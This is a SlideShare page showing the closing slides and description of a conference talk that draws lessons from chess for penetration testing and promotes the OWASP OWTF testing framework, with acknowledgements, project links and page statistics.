  106. 106. Conclusion 3 Strength Factors: 1) Individual Skill • Skill > Intelligence + Talent (Hard work beats talent) • Hack your subconscious (!mental barriers) • Don’t stop: Eat it, breathe it, sleep it 2) Game preparation • Prep ahead: Recon + analysis + plan • Scope like a pro: Negotiate scope, extensions, etc. 3) Game performance • 1st Sweep: Shallow + wide analysis first • 2nd Sweep: Deep + narrow analysis of best options • Analyse only once •Don’t lose the will to fight + Take the hit
  107. 107. Thanks to Brucon 5by5 Brucon 5by5 sponsorship of OWASP OWTF http://blog.brucon.org/2013/02/the-5by5-race-is-on.html
  108. 108. Thanks to OWASP GSoC 2013 Google Student sponsorship of OWASP OWTF https://www.owasp.org/index.php/GSoC Student Proposals: April 22th-May 3rd 2013 Still on time!
  109. 109. Special thanks to OWASP Testing Guide contributors Finux Tech Weekly – Episode 17 – mins 31-49 http://www.finux.co.uk/episodes/mp3/FTW-EP17.mp3 Finux Tech Weekly – Episode 12 – mins 33-38 http://www.finux.co.uk/episodes/mp3/FTW-EP12.mp3 Exotic Liability – Episode 83 – mins 49-53 http://exoticliability.libsyn.com/exotic-liability-83-oh-yeah Eurotrash 32: http://www.eurotrashsecurity.eu/index.php/Episode_32 Adi Mutu (@an_animal), Andrés Riancho (@w3af), Bharadwaj Machiraju, Gareth Heyes (@garethheyes), Krzysztof Kotowicz (@kkotowicz), Marc Wickenden (@marcwickenden), Marcus Niemietz (@mniemietz), Mario Heiderich (@0x6D6172696F), Michael Kohl (@citizen428), Nicolas Grégoire (@Agarri_FR), Sandro Gauci (@sandrogauci)
  110. 110. Q&A Abraham Aranguren @7a_ @owtfp abraham.aranguren@owasp.org http://7-a.org http://owtf.org Project Site (links to everything): http://owtf.org • Try OWTF: https://github.com/7a/owtf_releases • Try a demo report: https://github.com/7a/owtf_demos • Documentation: https://github.com/7a/owtf/wiki • Contribute/Download: https://github.com/7a/owtf
  • SajjabiAbdurrahim

    Feb. 21, 2018
  • DavidHernandezMeoo

    Apr. 25, 2016
  • JeanChristian4

    Apr. 19, 2016
  • barryevans80

    Nov. 18, 2015
  • tapaskumardas71

    Jul. 29, 2015
  • BilalBokhari1

    May. 21, 2015
  • cckuok

    Apr. 7, 2015
  • bt3gl

    Oct. 23, 2014
  • BahtiyarBircan

    Sep. 27, 2014
  • napsterS9

    Jul. 24, 2014
  • burn4live

    May. 20, 2014
  • Rendemast

    Dec. 7, 2013
  • AdiMihai1

    Apr. 28, 2013

Demos: http://www.youtube.com/playlist?list=PL3SqEmKhsxzzUIG1oIOUw3UeK0euTSTNH Chess is a complex game: The number of permutations is just too great to compute the best possible move during a game. This is similar to pen testing in that we also have too many vulnerabilities to find and choose from not only on a 1 by 1 basis but also how we would chain them together like a real attacker. Chess players must analyse efficiently to beat time constraints like pentesters but unlike pentesters they have been doing this for a long time. The purpose of this talk is to expose the techniques chess players have been using for centuries and to illustrate how we can learn from these and apply them to pen testing. The talk will behighly practical and will show how these techniques have been incorporated into OWTF, not only with screenshots but also demos. Have you ever had to spend valuable time in the middle of a test to prepare something you could have prepared in advance? Did you ever analyse a vulnerability/attack-path in depth only to find a significantly easier to exploit vulnerability hours/days after? Pen testing is very similar to playing chess: It is easy to get carried on and waste valuable analysis time on a line of attack that is just not the best option. Maybe mistakes like this will be a bit less likely after attending this talk.

Views

Total views

10,478

On Slideshare

0

From embeds

0

Number of embeds

66

Actions

Downloads

232

Shares

0

Comments

0

Likes

13

×